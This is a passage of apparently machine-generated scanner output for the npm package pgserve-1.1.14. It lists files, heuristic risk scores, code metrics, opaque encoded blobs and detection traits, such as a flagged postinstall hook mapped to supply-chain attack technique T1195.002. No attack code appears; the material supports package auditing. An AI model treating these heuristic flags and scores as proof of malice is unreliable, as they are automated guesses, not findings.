            "intLines.push",
            "io.readIOPS.toFixed",
            "io.readMBps.toFixed",
            "io.writeIOPS.toFixed",
            "io.writeMBps.toFixed",
            "lines.join",
            "lines.push",
            "num.toLocaleString",
            "output.split",
            "pgLines.push",
            "process.on",
            "process.stdout.on",
            "process.stdout.write",
            "resourceLines.push",
            "setInterval",
            "stats.internals.databases.slice",
            "vecLines.push",
            "workerEntries.slice",
            "workerLines.push"
          ],
          "funcs": [
            [
              "anonymous",
              487
            ],
            [
              "constructor",
              1269
            ],
            [
              "start",
              1865
            ],
            [
              "anonymous",
              2179
            ],
            [
              "anonymous",
              2286
            ],
            [
              "anonymous",
              2471
            ],
            [
              "stop",
              2612
            ],
            [
              "render",
              2983
            ],
            [
              "draw",
              3625
            ],
            [
              "buildDisplay",
              4169
            ],
            [
              "headerBar",
              10890
            ],
            [
              "section",
              11243
            ],
            [
              "l",
              11384
            ],
            [
              "colorValue",
              11470
            ],
            [
              "miniBar",
              11802
            ],
            [
              "formatUptime",
              12700
            ],
            [
              "formatNumber",
              13161
            ]
          ],
          "metrics": {
            "ast": {
              "op.ge": 2,
              "op.gt": 20,
              "op.le": 1,
              "op.ne": 2,
              "op.add": 4,
              "op.div": 10,
              "op.lor": 22,
              "op.mod": 3,
              "op.mul": 4,
              "op.sub": 6,
              "op.land": 5,
              "op.lnot": 4,
              "max_depth": 24,
              "call_count": 115,
              "node_count": 4068,
              "member_count": 112,
              "max_array_len": 3,
              "op_density.ge": 0,
              "op_density.gt": 0,
              "op_density.le": 0,
              "op_density.ne": 0,
              "op_density.add": 0,
              "op_density.div": 0,
              "op_density.lor": 0.01,
              "op_density.mod": 0,
              "op_density.mul": 0,
              "op_density.sub": 0,
              "op_density.land": 0,
              "op_density.lnot": 0,
              "max_concat_chain": 3,
              "member_depth_max": 4
            },
            "file": {
              "size": 13220,
              "entropy": 5.11
            },
            "text": {
              "lines": 401,
              "top_char": 115,
              "max_ws_run": 7,
              "digit_ratio": 0.02,
              "space_count": 2579,
              "char_entropy": 5.11,
              "unique_chars": 89,
              "top_char_null": 0,
              "escape_density": 0.11,
              "string_density": 0.2,
              "top_char_ratio": 0.06,
              "avg_line_length": 31.97,
              "max_line_length": 184,
              "empty_line_ratio": 0.15,
              "hex_escape_count": 13,
              "last_line_length": 1,
              "long_token_count": 1,
              "whitespace_ratio": 0.23,
              "identifier_density": 1.85,
              "line_length_stddev": 31.89,
              "unicode_escape_count": 2,
              "normalized_string_count": 4,
              "repeated_char_sequences": 11,
              "suspicious_comment_ratio": 0.07,
              "suspicious_identifier_ratio": 0.02,
              "normalized_unique_identifiers": 20.12
            },
            "binds": {
              "count": 54
            },
            "binary": {
              "peak_region_bytes": 7076,
              "peak_region_entropy": 5.42
            },
            "source": {
              "class_count": 1,
              "function_count": 12
            },
            "strings": {
              "bytes": 2858,
              "count": 80,
              "avg_length": 35.73,
              "max_length": 176,
              "avg_entropy": 3.19,
              "empty_count": 8,
              "entropy_stddev": 1.53,
              "high_entropy_count": 4
            },
            "comments": {
              "chars": 2702,
              "count": 57,
              "lines": 96,
              "high_entropy": 4,
              "to_code_ratio": 0.31,
              "url_in_comments": 1
            },
            "functions": {
              "count": 13,
              "nested": 2,
              "density": 4.24,
              "anonymous": 5,
              "avg_params": 0.88,
              "code_ratio": 0.8,
              "max_params": 3,
              "one_liners": 4,
              "length_stddev": 38.3,
              "over_100_lines": 1,
              "avg_name_length": 8.25,
              "no_params_count": 7,
              "avg_length_lines": 18.88,
              "max_length_lines": 169,
              "min_length_lines": 1,
              "avg_nesting_depth": 0.24,
              "max_nesting_depth": 1,
              "single_char_params": 1,
              "avg_param_name_length": 6.47
            },
            "identifiers": {
              "count": 743,
              "unique": 174,
              "avg_length": 7.25,
              "max_length": 18,
              "min_length": 1,
              "avg_entropy": 2.4,
              "reuse_ratio": 0.23,
              "length_stddev": 3.58,
              "sequential_names": 3,
              "single_char_count": 3,
              "single_char_ratio": 0.02,
              "high_entropy_count": 4,
              "high_entropy_ratio": 0.02,
              "all_lowercase_ratio": 0.52,
              "all_uppercase_ratio": 0.1,
              "keyboard_pattern_names": 1,
              "underscore_prefix_count": 1
            }
          }
        },
        "id": 39,
        "mol": "H₄(CmDb₃Po₂U)Md₂(PaPt)",
        "path": "pgserve-1.1.14.tgz!!package/src/stats-dashboard.js",
        "pid": 56,
        "risk": 9,
        "sha": "07e50a42bc15f0c1c577feaaa6d56b424e6a6888bbf151252cfe79840a218f2e",
        "size": 13220,
        "traits": [
          {
            "id": "metadata/file/comment::source-comment-bytes-over-300",
            "conf": 0.92,
            "crit": 2,
            "desc": "Source has over 300 comment bytes"
          },
          {
            "id": "metadata/lang/encoded/unicode-escape::ansi-escape-sequence",
            "conf": 0.98,
            "crit": 3,
            "desc": "ANSI color escape sequence encoded",
            "spans": [
              [
                577,
                15
              ],
              [
                598,
                16
              ],
              [
                620,
                14
              ],
              [
                640,
                13
              ],
              [
                659,
                17
              ],
              [
                682,
                12
              ],
              [
                700,
                14
              ],
              [
                720,
                13
              ]
            ]
          },
          {
            "id": "metadata/lang/natural::lang-english--atom-1",
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"the\"",
            "spans": [
              [
                1830,
                0
              ]
            ]
          },
          {
            "id": "metadata/lang/natural::lang-english--atom-2",
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"and\"",
            "spans": [
              [
                384,
                0
              ]
            ]
          },
          {
            "id": "metadata/lang/natural::lang-english--atom-5",
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                58,
                0
              ]
            ]
          },
          {
            "id": "metadata/lang/natural::lang-english--atom-6",
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"with\"",
            "spans": [
              [
                197,
                0
              ]
            ]
          },
          {
            "id": "metadata/lang/natural::lang-english--atom-7",
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"this\"",
            "spans": [
              [
                1367,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/files/runtime::typescript-source-tree-artifact",
            "conf": 0.95,
            "crit": 3,
            "desc": "Source file under src"
          },
          {
            "id": "micro-behaviors/communications/url/reference::javascript-comment-url-reference",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript comment contains a URL",
            "spans": [
              [
                1297,
                42
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/format/locale::js-locale-formatting-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript locale-aware formatting call",
            "spans": [
              [
                10703,
                23
              ],
              [
                13192,
                18
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/array::js-array-short-delimiter-join-call",
            "conf": 0.72,
            "crit": 3,
            "desc": "Joins array with a short delimiter",
            "spans": [
              [
                7034,
                11
              ],
              [
                10835,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/io/stream::js-stream-write-call",
            "conf": 0.88,
            "crit": 3,
            "desc": "Calls a write method on a stream",
            "spans": [
              [
                2040,
                20
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/io/stream::node-stdout-reference",
            "conf": 0.8,
            "crit": 3,
            "desc": "References Node.js stdout stream",
            "spans": [
              [
                1382,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/string/split::js-split-call",
            "conf": 0.8,
            "crit": 3,
            "desc": "Calls JavaScript split()",
            "spans": [
              [
                3771,
                12
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/exit/terminate::js-process-on-exit-hook",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node process exit hook registered",
            "spans": [
              [
                2452,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/ui/terminal::ansi-erase-op",
            "conf": 0.86,
            "crit": 3,
            "desc": "ANSI erase-line/erase-screen sequence",
            "spans": [
              [
                451,
                4
              ],
              [
                466,
                7
              ]
            ]
          }
        ],
        "type": "javascript"
      },
      {
        "id": 40,
        "mol": "H₃(Db₃PoU)",
        "sha": "3fe6d4b9516eabfcc6c9ba8ddb02b8e9a21c11ebf78201d8d0f0ebab4c6bceb4",
        "path": "pgserve-1.1.14.tgz!!package/tests/stress-test.js",
        "risk": 5,
        "size": 14420,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 41,
        "mol": "H(Db₃)",
        "sha": "8c29902fa04e3161418d6aac4aab466ce7399f96ebc743a5f37433cf8f60b164",
        "path": "pgserve-1.1.14.tgz!!package/tests/sync-perf-test.js",
        "risk": 4,
        "size": 4801,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 42,
        "mol": "H(Db)",
        "sha": "6d923f10c7f073756843d56b7bf637f99ef255c041c02f5f998991657b70c04e",
        "path": "pgserve-1.1.14.tgz!!package/src/sync.js",
        "risk": 2,
        "size": 10166,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 43,
        "mol": "H₄(DbF₂OsPo₂)Md(In)",
        "sha": "dd954978bbe71f498d81071ed5816a158697f953bf5946b44fd884ac77ad9480",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/validate-frontmatter.js",
        "risk": 6,
        "size": 17244,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 44,
        "mol": "H₂(Db₂F₃)",
        "sha": "c00c240e5d8b62b1c4648458aa5b72a2fa7d6cfe830c0b442989b679af4b56c6",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/validate-links.js",
        "risk": 4,
        "size": 4920,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 45,
        "mol": "H₄(Db₃F₂OsPo)Md(In)",
        "sha": "8d3cac661ee57a9f3c7501397c7b0a93223bd570acb641bcf93b22cff3c3bcbd",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/validate-paths.js",
        "risk": 7,
        "size": 10639,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 46,
        "mol": "H₄(Db₂F₂PoU)",
        "sha": "aca3392108881a6604ef5c774cfaf1f583b2d617a3bc9e550c617525bf51453d",
        "path": "pgserve-1.1.14.tgz!!package/tests/benchmarks/vector-generator.js",
        "risk": 6,
        "size": 11648,
        "type": "javascript",
        "depth": 1
      },
      {
        "ctx": [
          {
            "b": "DKp(rb5Q?awG\u003ceTb5?gowPz%9a$K6zar\u003e#uA=U@kzx.a:a#7Y8e?]gbed9Hxb4Lnav@=p5BzkVhb03?\u003cmqVHBwmPmZaw=#$Bz2S9q=cjhB7GxnwPw]qx([2hBAhInay/tcv%8*jwO#Pjv@Dm5wN/*@z/fRseG/vJA=i7gz/ff3xdLflB-.KNAb](ux(!0bzxJE#BywS!B7Gzped9Hxb5H+5zx.a:b6d^mfkkrmwQ2?xB0rdxarR\u003eID2NssiV]R-z!a0bwG\u0026VjarR\u003eqx(kaQaBsCrarR^JAa:l6A=#1riV]R0fjFTkfk$MBwPz%9eQ8kzAbYxee[nTqa{]CnEjLZFar\u003e(pA+PGmB0rT/DKp(rarR\u003eqwO#0\u003eb03?\u003cvS=MhBy/JnB1.0lzEWu%vrcd8flhhMzE)\u0026vyi7NI3lQDlar\u003e]sB95P!ar\u003eoqzxK4jB95KDwPI%mfdFC8dLt*OB963HB0rdxarR^Hb6myqBujROByO#diV]RQB-5szwPI@oeIhfPByO#bBy/JnB1Y0)fdFO@wPI@Cyi7NI3lQDlar\u003eucB%n%\u0026b4tXjat2f?vru0)ayY55fk$Mux()]rB7GxnwPxzrB0rdxarR^Hb6d\u003cmA=-G^ar\u003eoqzxJz5zzb%wy?X05ePUGzC4CXDyi7NI3lQDlar\u003eoqx(4r7iV]RQB-5shB.LV5at2fPz/6Dcy?j.#x(kOyxkzp7wI4$mA=#2me]2CIeIg)-By]l6wGUI$B966OxldT8C4z\u003cG3lQDlar\u003eoqx(4rvvqG:7iV]R-vqxA%vS=y3wg.kay:7zqarR^Hb5y$hBrS:*b4U?ix(n2nB8\u003e+zayY55fcR}OarR^Hb5y$hBuj2FCP]f\u003eb4U?ix(n2nB8\u003e+zayY55fcz?#w[=Gled9HxarR\u003es",
            "ln": 0,
            "col": 1,
            "line": 1
          },
          {
            "b": "3lQDlar\u003e]sB96DLB-5^LwO+%gxK$Q*b03?\u003cB7ol8AccdOBy/JneN\u0026\u003cuePUGtw?vXcvqEMqxD!#marR^Hb5?EwBzkSlByx04b03?\u003czF%5%aAI4kx(FfnfjOWbv@0VczGWTxyi7IBD)0JKB.8:7arV7-3lQDnyH}^nz/Pxfb03\u0026J3lQDlar\u003e=yB985nwPI\u003cca$K6zarR^JwO\u003e)/wmPmZa$K6zarR^JwmoN*vQTs?a$K6zarR^JAbP/txl4N8a$K6zarR^JwmY{}y\u0026sofwO#Pled9HxarR\u003eBB.(eleP+MwvqZfh3lQD%ed9Hxb4kRoxM4]niV]RwvqPB]By/XtoKRyKauTEGvSK!LvqPB]By/XHv@DiFa$K6zar\u003eSov}xL0wG\u003ceTb27Tda$K6zar\u003e\u0026qAbP/iBz(hBb03\u0026[3lQDlar\u003e]MAaHjOar\u003eDjBrSmyarR^Hb6v{xb03?\u003cxMOunB2\u003e%cxk8E3BZ=$kz/4dBvqPB]By/YkvpBphAa:l6A=#1Dxk8Di3lQEted9Hxb4tXcB0rT/DKp(rarR\u003eJA+({Xar\u003eGvBz#pZfe3%LBzb/ae[n*pfk+invrlK4CX*!$B1.GBB7GxnwIm+sB9h5na{]CnEjLZFar\u003eGqzdNV{xjSnFar\u003eGvBz#pZfe3%LBzb/ae[n*pfk+invrlK4CX*!$B1.GBB7GxnwG#kbvpTj^a$K6zar\u003e-yBzkVhvqFtyAaJ]$wO#0(wPG4RaBsCrarR^JkXj!wwN]s.wg.+sB985nwPGInvrcNazy]pqz8Ki{iV]R3i4=%sfFc:BByu^Rhx\u003cWVarR^Hb0YZRvR67XwN)xiz/Z2kA+fqBwmoI5x(kIEhz=Qsar\u0026K1e\u002624keN\u0026pkvj\u003cn)a$K6zarR^JkXj!wwN]s.wg.+sB985nwPGIvx(n6reQffgb03?\u003cf/Q^ve?!\u003e^wPRukf/yjb3lQDlar\u003c6Zzdm6!wmYp6AbP/txl4N8fl.bFwn=WkeQffgb03?\u003cf/Q^ve?!\u003e^wPRukf/yi.arV7-3lQDnwmY{LwPhi#wmYT*x\u003equfiV@+RarR^Hb0YZQwN/?5x\u003e5-oACNpExkzp7wG\u003ceTb3(@Qga\u003epua$K6zarR^JwPIW4zGE6-ar\u003ebLe\u0026bHuf^ndQarR^Hb4U?ix(n2AAboVfx(kIBzGQ2iwg.IjAbP=sB0rT/b3)8UgCgv9ed9HxarR\u003ewB-Rtzb03?\u003cuo6R)e\u0026K$93lQDlar\u003ePsx(CmSar\u003ebHe\u0026LHqfD@4ParR^Hb5y$hBs?MQvp%dZb03?\u003cunjt\u003cga\u003eHfed9HxarR\u003eExcGwVb3)kYf/yTua{]CnEjLZFar\u003eSozGEEKByw/[wfK5SDKp(rarR\u003eHA:{:LdLAn7yi7NWao",
            "ln": 772,
            "col": 39,
            "line": 21
          },
          {
            "b": "arR^Hb4U?ix(n2neIgNGCP)FqarR!j3lQEted9Hxb4Ln7wO#3\u0026zEWx(B0rT/DKp(rarR\u003eqB-5x:ar\u003ebDe\u0026bapa{]CnEf$x",
            "ln": 1906,
            "col": 3,
            "line": 63
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "^1.3.4",
              "bun"
            ],
            [
              "^8.16.3",
              "pg"
            ],
            [
              "^9.39.1",
              "eslint"
            ],
            [
              "^4.3.0",
              "eslint-plugin-unused-imports"
            ],
            [
              "^0.2.17",
              "@electric-sql/pglite"
            ],
            [
              "^9.1.7",
              "husky"
            ],
            [
              "^16.2.7",
              "lint-staged"
            ],
            [
              "^5.71.0",
              "knip"
            ],
            [
              "18.2.0-beta.16",
              "@embedded-postgres/darwin-arm64"
            ],
            [
              "18.2.0-beta.16",
              "@embedded-postgres/darwin-x64"
            ],
            [
              "18.2.0-beta.16",
              "@embedded-postgres/linux-x64"
            ],
            [
              "18.2.0-beta.16",
              "@embedded-postgres/windows-x64"
            ]
          ],
          "metrics": {
            "file": {
              "size": 1981,
              "entropy": 4.81
            },
            "binary": {
              "peak_region_bytes": 1981,
              "peak_region_entropy": 4.91
            },
            "references": {
              "declared_count": 5,
              "unresolved_count": 0,
              "security_hold_count": 0,
              "unresolved_extension_count": 0
            },
            "consistency": {
              "name_repo_mismatch": 0
            }
          }
        },
        "id": 48,
        "mol": "O(S)H(Po)Md(Pa₅)",
        "path": "pgserve-1.1.14.tgz!!package/package.json",
        "pid": 0,
        "refs": [
          {
            "to": "pkg:github/namastexlabs/pgserve",
            "off": 1136,
            "kind": "repository"
          },
          {
            "to": "pkg:npm/bun",
            "off": 300,
            "kind": "dependency"
          },
          {
            "to": "pkg:npm/%40embedded-postgres/darwin-arm64@18.2.0-beta.16",
            "off": 1360,
            "kind": "dependency"
          },
          {
            "to": "pkg:npm/%40embedded-postgres/darwin-x64@18.2.0-beta.16",
            "off": 1417,
            "kind": "dependency"
          },
          {
            "to": "pkg:npm/%40embedded-postgres/linux-x64@18.2.0-beta.16",
            "off": 1472,
            "kind": "dependency"
          },
          {
            "to": "pkg:npm/%40embedded-postgres/windows-x64@18.2.0-beta.16",
            "off": 1526,
            "kind": "dependency"
          },
          {
            "to": "src/index.js",
            "off": 177,
            "file": 25,
            "kind": "local"
          },
          {
            "to": "./bin/pgserve-wrapper.cjs",
            "off": 239,
            "file": 5,
            "kind": "local"
          }
        ],
        "risk": 6,
        "sha": "7acc5382d460b9a8bc1ddc0c67dbe988dccad3cce0de37049a06048d00c9f876",
        "size": 1981,
        "traits": [
          {
            "id": "supply-chain/install-hook/postinstall",
            "conf": 0.8,
            "crit": 3,
            "desc": "Package has 'postinstall' hook that runs during install",
            "spans": [
              [
                836,
                34
              ]
            ]
          },
          {
            "id": "metadata/package/dependencies/manifest::has-optional-deps",
            "conf": 0.8,
            "crit": 3,
            "desc": "Package has optional dependencies",
            "spans": [
              [
                1329,
                218
              ]
            ]
          },
          {
            "id": "metadata/package/files/included::npm-publish-root-manifest",
            "conf": 0.95,
            "crit": 2,
            "desc": "Manifest sits at npm publish root",
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/manifest/entrypoint::bin-field-declared",
            "conf": 0.95,
            "crit": 1,
            "desc": "Manifest declares a bin entry",
            "spans": [
              [
                214,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/manifest/entrypoint::main-runtime-tree-entrypoint",
            "conf": 0.85,
            "crit": 2,
            "desc": "Package main targets runtime tree",
            "spans": [
              [
                168,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/manifest/repository::repo-url-git-host",
            "conf": 0.9,
            "crit": 3,
            "desc": "Repository identifies major Git host",
            "spans": [
              [
                1128,
                43
              ]
            ]
          },
          {
            "id": "metadata/package/scripts/develop::has-git-hooks",
            "conf": 0.9,
            "crit": 3,
            "desc": "Package uses git hooks tooling",
            "spans": [
              [
                1718,
                7
              ]
            ]
          },
          {
            "id": "metadata/package/scripts/develop::has-test-script",
            "conf": 1.0,
            "crit": 1,
            "desc": "package.json declares a test script",
            "spans": [
              [
                337,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/scripts/develop::pkg-dev-script-field",
            "conf": 0.6,
            "crit": 3,
            "desc": "package.json declares a development script",
            "spans": [
              [
                437,
                32
              ]
            ]
          },
          {
            "id": "metadata/package/scripts/develop::pkg-start-script-field",
            "conf": 0.6,
            "crit": 3,
            "desc": "\"start\": script in package.json",
            "spans": [
              [
                484,
                24
              ]
            ]
          },
          {
            "id": "metadata/package/scripts/build::pkg-build-script-field",
            "conf": 0.6,
            "crit": 3,
            "desc": "Package declares a build script",
            "spans": [
              [
                525,
                63
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/interpreter/npm::npm-script-interpreter",
            "atk": "T1059",
            "mbc": "B0030",
            "conf": 0.85,
            "crit": 3,
            "desc": "Package script invokes a language interpreter",
            "spans": [
              [
                273,
                34
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/install-hook/scripts/lifecycle::has-postinstall",
            "atk": "T1195.002",
            "conf": 0.85,
            "crit": 3,
            "desc": "Has postinstall script hook",
            "spans": [
              [
                836,
                34
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/install-hook/scripts/lifecycle::postinstall-hook-declaration",
            "atk": "T1195.002",
            "conf": 0.96,
            "crit": 3,
            "desc": "Package declares a postinstall hook",
            "spans": [
              [
                836,
                34
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/install-hook/scripts/lifecycle::postinstall-node-script-suppressed",
            "atk": "T1195.002",
            "conf": 0.96,
            "crit": 3,
            "desc": "postinstall runs suppressed Node script",
            "spans": [
              [
                836,
                34
              ]
            ]
          },
          {
            "id": "metadata/package/scripts/develop::has-dev-workflow",
            "conf": 0.85,
            "crit": 3,
            "desc": "Package has development workflow scripts",
            "uses": [
              8,
              9,
              10
            ],
            "spans": [
              [
                437,
                32
              ],
              [
                484,
                24
              ],
              [
                525,
                63
              ]
            ]
          },
          {
            "id": "metadata/package/manifest/freeform::pkg-skeleton-small",
            "conf": 0.7,
            "crit": 3,
            "desc": "Tiny package.json manifest",
            "spans": [
              [
                0,
                40
              ]
            ]
          },
          {
            "id": "metadata/package/manifest/name::npm-no-name-field",
            "conf": 0.9,
            "crit": 3,
            "desc": "package.json omits name field"
          }
        ],
        "type": "package.json"
      },
      {
        "id": 53,
        "mol": "H(F)Md(Pa)",
        "sha": "5c330f20ca1aed1d2b7d5ef1011e0764c84f1ec5fe24bc800066a222bb935827",
        "path": "pgserve-1.1.14.tgz!!package/.genie/AGENTS.md",
        "risk": 3,
        "size": 395,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 54,
        "mol": "H(F)Md(Pa)",
        "sha": "4a298102ccf190b08523148531aa493d1d14c94e699029e449f98b8cfdf22bc4",
        "path": "pgserve-1.1.14.tgz!!package/.genie/code/AGENTS.md",
        "risk": 3,
        "size": 25313,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 55,
        "mol": "H(F)Md(Pa)",
        "sha": "d436b144dfd40ef655332bd84298862fade5f8008ac45fe2e33a5d20f8ca6e71",
        "path": "pgserve-1.1.14.tgz!!package/AGENTS.md",
        "risk": 3,
        "size": 15918,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 66,
        "mol": "Md(Pa)",
        "sha": "336cc4fbf19beaada7ccf9986414fa91851a8d7a07dfb3ccbe800a69eed0ab49",
        "path": "pgserve-1.1.14.tgz!!package/CLAUDE.md",
        "risk": 1,
        "size": 11,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 76,
        "sha": "67ef5ddd394f5a59604e279e6d75d282d329aafcf1160eed5cf41c3d27ffe698",
        "path": "pgserve-1.1.14.tgz!!package/.genie/product/templates/context-template.md",
        "risk": 1,
        "size": 4889,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 78,
        "mol": "Md",
        "sha": "8fea6a4cc510c030167f19c7d6aca856b1ac9989e5ff14131fcc426d83a03329",
        "path": "pgserve-1.1.14.tgz!!package/.genie/code/agents/daily-standup.md",
        "risk": 1,
        "size": 25077,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 97,
        "mol": "H(Db)",
        "sha": "d83452accd149a9e3a246f318edbecfcbe732d7bc8ac82878ae791aa5bb02cf8",
        "path": "pgserve-1.1.14.tgz!!package/.genie/spells/forge-orchestration.md",
        "risk": 2,
        "size": 19566,
        "type": "markdown",
        "depth": 1
      },
      {
        "ctx": [
          {
            "b": "eIeKYzEEx[iV@6HBzb/aeOPoEB.9dqv*V:TB7ol8Acb/jzAn[aB-.Ltz/6AnB09$!BvZK-azC[rB.8XnBZY92BA]0qB8#FAvqYN^at1ZDwPRG[BrCTDvqGHaazC.pvqC",
            "ln": 0,
            "col": 1,
            "line": 1
          },
          {
            "b": "asX\u003cjayPzmz/5{8x\u003e7N/y\u003cvdiwmM*0vpA!:B1wCzA+eW3wGUG3zeA\u003c4BAn#QvqYP#xjU%(A::63ay/k0vqZjbaAz4jz/P@vdK(L)az#9uxMXf2zxJwbAb](uvqE67wO2y-wftG5AV/EAx\u003c\u003eT=ayO=4x(v)ge^.}ndPy7}B0bgrayMy5z/Pzim}DNLwGUz]wO#PtdJ*q=zddc@Byw)3B09$!BvZK-azC[rB.8XnBZY92BA]zWv@Dj6y?mD{zGG}xxjk*\u0026vp%d6v@Dg1wN/?2AV==OxLy%\u0026ao",
            "ln": 551,
            "col": 114,
            "line": 21
          },
          {
            "b": "Bzkk[y\u00261w7eG\u003c5yG=\u0026@fzddi\u003eay]4[x(!0bzGu}fvrl0\u003caA8cuwmY\u003c]v@#B6zxJ$xy?mU{eG\u003c5zJ37XmpdnhLqxPE=z/YFjx(!urwPF#rx([3bB-X:tB.$M8ayPkdA=lbfy-\u003ecAzFTOvB9hbdwPI@x3n0yWOS1W.awLvamn+mpB88)xq!Q8(y?aUWaz+E}wO-GhxLzJLa{][A\u0026*(2JnGZ+%rZ/[eCvticazbLjaA.:pAV!\u003egzF0Q6zddK2z/cXozxK4wx\u003c\u003eT=3n0yWOS1W.awLvamn+mEA+fr6zu",
            "ln": 1155,
            "col": 44,
            "line": 33
          },
          {
            "b": "o!w+3e]tbF3n:vTlVl*Ux(\u003eFrwPhNdBrC1mBz(28Bzkk[y\u00261w7h7*1uCXImxCwhejaAIWxzddEg3sEmH3jnmjph.m*B.$M8azCZoBzbkdy\u0026slhazbLjaARTrvp%d7av{S(vqWidwP?^0Coy{qADL#owN({4zFTOvw]zYjv@c78x(mModK\u003e=jbo[sfAaJJ[vqH4h3n0wIdNv(\u003ewNPa{eOnZwwN(]]wPRF",
            "ln": 1786,
            "col": 57,
            "line": 48
          },
          {
            "b": "x(mMap*[D/wPzWf3jn15boPx.x(55qq*h!:A3cM5z!0i(avyf/zxHR]fFB{.u%)wKvrl8?boPo.wft#jay/CgzGGq@at4d=3nrORasXG-asXHzwfrKAvrufoBz\u0026*vB-.Lsvp%p\u0026eOwTjx\u003enzlclM@jzFrV8A=(mxxk8E3BZ=}pB8#FneOwMob1b\u003cNy\u003cvc",
            "ln": 2412,
            "col": 10,
            "line": 64
          },
          {
            "b": "dO%L}By/GgiW#Q4nPO@}wGUI{B7ol8vR6Q6vS=rpze16jx(mMaw[ty)B-I4oBzb98ayPkdwNPR2aARJAvR3W5wPI^aC4Chbx(k56B-IIlzGE1hz!9A*vrk#!3mWI[wPRG[Bug)33sEmHvQTs\u003e3l{V(wNPQ?xDQ]9AV/jgA+w@]aw+%Saz\u003eXcBzkVh",
            "ln": 5413,
            "col": 2,
            "line": 166
          },
          {
            "b": "avG^.wN/*@z/b[idO%L}By/GgiW#Q4s7#.?azC[rB.bRpBzb98aAIjmB.\u003eOhxKM6}ayX[[zxJwdv}YO1wN)DoA:-D[wN(]]x\u003ey%*A+fcgy\u003cuu{dK[2cwnbKZBz(hviW#P^eG!2bBzLIhB97\u0026hBAnNGx([2hu%uY7q+gh4aA8oyu%uulyH[R%axJn#",
            "ln": 11904,
            "col": 32,
            "line": 416
          }
        ],
        "depth": 1,
        "facts": {
          "metrics": {
            "file": {
              "size": 18209,
              "entropy": 5.09
            },
            "text": {
              "lines": 618,
              "top_char": 101,
              "max_ws_run": 1,
              "digit_ratio": 0.01,
              "space_count": 2248,
              "char_entropy": 5.09,
              "unique_chars": 105,
              "top_char_null": 0,
              "lines_over_200": 1,
              "top_char_ratio": 0.09,
              "ascii_art_lines": 7,
              "avg_line_length": 28.46,
              "max_line_length": 238,
              "non_ascii_ratio": 0.01,
              "empty_line_ratio": 0.24,
              "last_line_length": 10,
              "whitespace_ratio": 0.16,
              "line_length_stddev": 26.49,
              "repeated_char_sequences": 6
            },
            "binary": {
              "peak_region_bytes": 17185,
              "peak_region_entropy": 5.28
            }
          }
        },
        "id": 107,
        "mol": "H(Db)",
        "path": "pgserve-1.1.14.tgz!!package/.genie/agents/github-issue-gc.md",
        "pid": 0,
        "risk": 2,
        "sha": "1a5beb029204b19be8d47baa4c9c835c390ad41879e1c2805e5bd33f9e5c6e16",
        "size": 18209,
        "traits": [
          {
            "id": "metadata/file/profile/language::lang-english--atom-2",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"and\"",
            "spans": [
              [
                599,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                657,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-6",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"with\"",
            "spans": [
              [
                1834,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/llm::prohibitive-never-without-approval",
            "conf": 0.9,
            "crit": 3,
            "desc": "Never act without user approval guideline",
            "spans": [
              [
                1219,
                41
              ]
            ]
          }
        ],
        "type": "markdown"
      },
      {
        "id": 111,
        "sha": "bcedb1ff20a2ca793fee0bf38dae2c6bb0c16885626603666f51477e3d7e9cd7",
        "path": "pgserve-1.1.14.tgz!!package/.genie/spells/install-genie.md",
        "risk": 1,
        "size": 36968,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 118,
        "mol": "H(Db)",
        "sha": "78574db1591155bf597549def46dc548cdb1a298ce8267b253e06d7ebe744198",
        "path": "pgserve-1.1.14.tgz!!package/.genie/spells/know-yourself.md",
        "risk": 2,
        "size": 13220,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 119,
        "mol": "H(Db)",
        "sha": "fa170595f74f9ba25c2f641f7096d444c374a162356b11c5362bdedecc191c04",
        "path": "pgserve-1.1.14.tgz!!package/.genie/spells/learn.md",
        "risk": 2,
        "size": 35093,
        "type": "markdown",
